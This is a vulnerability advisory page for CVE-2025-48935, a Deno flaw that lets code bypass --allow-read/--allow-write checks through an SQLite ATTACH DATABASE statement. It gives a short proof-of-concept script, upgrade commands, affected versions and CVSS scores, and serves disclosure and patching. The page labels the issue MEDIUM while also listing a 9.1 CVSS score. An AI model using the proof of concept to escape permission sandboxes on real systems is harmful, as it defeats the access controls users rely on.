Loading...
Skip to main content
GeekWala

CVE-2025-48935

MEDIUM

Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

Published June 4, 2025Updated February 3, 2026Source: osv

Summary

## Summary It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement. ## PoC ```js // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```

Remediation

Upgrade to the fixed version using your package manager.

Cargo
Update deno_node to 0.134.0 or later
cargo update -p deno_node --precise 0.134.0
Cargo
Update deno to 2.2.5 or later
cargo update -p deno --precise 2.2.5

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

PackageEcosystemAffectedFixed In
deno_node
crates.io
All versions0.134.0
deno
crates.io
All versions2.2.5

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-863
    Incorrect AuthorizationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

Frequently Asked Questions

What is CVE-2025-48935?
Deno has --allow-read / --allow-write permission bypass in `node:sqlite` This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2025-48935?
CVE-2025-48935 affects deno_node and deno. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-48935 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-8vxj-4cph-c596
RUSTSEC-2025-0138

Related CVEs

  • CVE-2025-24015
    HIGH

    Deno's AES GCM authentication tags are not verified

  • CVE-2026-22864
    HIGH

    Deno has an incomplete fix for command-injection prevention on Windows — case-insensitive extension bypass

  • CVE-2024-27936
    HIGH

    Deno's deno_runtime vulnerable to interactive permission prompt spoofing via improper ANSI stripping

  • CVE-2023-22499
    HIGH

    Deno is vulnerable to race condition via interactive permission prompt spoofing

  • CVE-2023-33966
    HIGH

    Missing "--allow-net" permission check for built-in Node modules

  • CVE-2023-28446
    HIGH

    Interactive `run` permission prompt spoofing via improper ANSI neutralization

  • CVE-2024-27935
    HIGH

    Deno's Node.js Compatibility Runtime has Cross-Session Data Contamination

  • CVE-2026-49411
    MEDIUM

    Deno: Node TCPWrap numeric hostname aliases bypass --deny-net resolved-IP deny checks

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies